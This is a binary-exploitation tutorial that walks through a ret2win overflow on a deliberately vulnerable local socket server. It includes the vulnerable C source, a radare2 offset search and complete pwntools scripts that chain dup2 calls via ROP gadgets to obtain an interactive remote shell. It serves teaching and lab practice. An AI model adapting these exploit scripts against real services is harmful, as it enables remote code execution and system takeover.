Exploit
Duplicating the Descriptors
Source
I'll include source.c
, but most of it is socket programming derived from here. The two relevent functions - vuln()
and win()
- I'll list below.
void vuln(int childfd) {
char buffer[30];
read(childfd, buffer, 500);
write(childfd, "Thanks!", 8);
}
void win() {
system("/bin/sh");
}
Quite literally an easy ret2win.
Exploitation
Start the binary with ./vuln 9001
.
Basic setup, except it's a remote process:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
Testing Offset
I pass in a basic De Bruijn pattern and pause directly before:
payload = b'AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA'
pause()
p.sendline(payload)
Once the pause()
is reached, I hook on with radare2 and set a breakpoint at the ret
.
$ r2 -d -A $(pidof vuln)
[0x7f741033bdee]> pdf @ sym.vuln
[...]
└ 0x0040126b c3 ret
[0x7f741033bdee]> db 0x0040126b
[0x7f741033bdee]> dc
hit breakpoint at: 40126b
[0x0040126b]> pxq @ rsp
0x7ffd323ee6f8 0x41415041414f4141 0x4153414152414151 AAOAAPAAQAARAASA
[...]
[0x0040126b]> wopO 0x41415041414f4141
40
Ok, so the offset is 40
.
Generate Exploit
Should be fairly simple, right?
payload = flat(
'A' * 40,
elf.sym['win']
)
p.sendline(payload)
p.interactive()
What the hell?

But if we look on the server itself:

A shell was popped there! This is the file descriptor issue we talked about before.
So we have a shell, but no way to control it. Time to use dup2
.
Duplicating File Descriptors
As we know, we need to call dup2(newfd, oldfd)
. newfd
will be 4
(our connection fd) and oldfd
will be 0
and 1
(we need to call it twice to redirect bothstdin
and stdout
). Knowing what you do about calling conventions, have a go at doing this and then caling win()
. The answer is below.
Using dup2()
Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use ROPgadget
to find these.
$ ROPgadget --binary vuln | grep "pop rdi"
0x000000000040150b : pop rdi ; ret
$ ROPgadget --binary vuln | grep "pop rsi"
0x0000000000401509 : pop rsi ; pop r15 ; ret
Plonk these values into the script.
POP_RDI = 0x40150b
POP_RSI_R15 = 0x401509
Now to get all the calls to dup2()
.
payload = flat(
'A' * 40,
POP_RDI,
4, # newfd
POP_RSI_R15,
0, # oldfd -> stdin
0, # junk r15
elf.plt['dup2'],
POP_RDI,
4, # newfd
POP_RSI_R15,
1, # oldfd -> stdout
0, # junk r15
elf.plt['dup2'],
elf.sym['win']
)
p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
And wehey - the file descriptors were successfully duplicated!

Final Exploit
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
POP_RDI = 0x40150b
POP_RSI_R15 = 0x401509
payload = flat(
'A' * 40,
POP_RDI,
4, # newfd
POP_RSI_R15,
0, # oldfd -> stdin
0, # junk r15
elf.plt['dup2'],
POP_RDI,
4, # newfd
POP_RSI_R15,
1, # oldfd -> stdout
0, # junk r15
elf.plt['dup2'],
elf.sym['win']
)
p.sendline(payload)
p.recvuntil('Thanks!\x00')
p.interactive()
Pwntools' ROP
These kinds of chains are where pwntools' ROP capabilities really come into their own:
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Works perfectly and is much shorter and more readable!
Last updated
Was this helpful?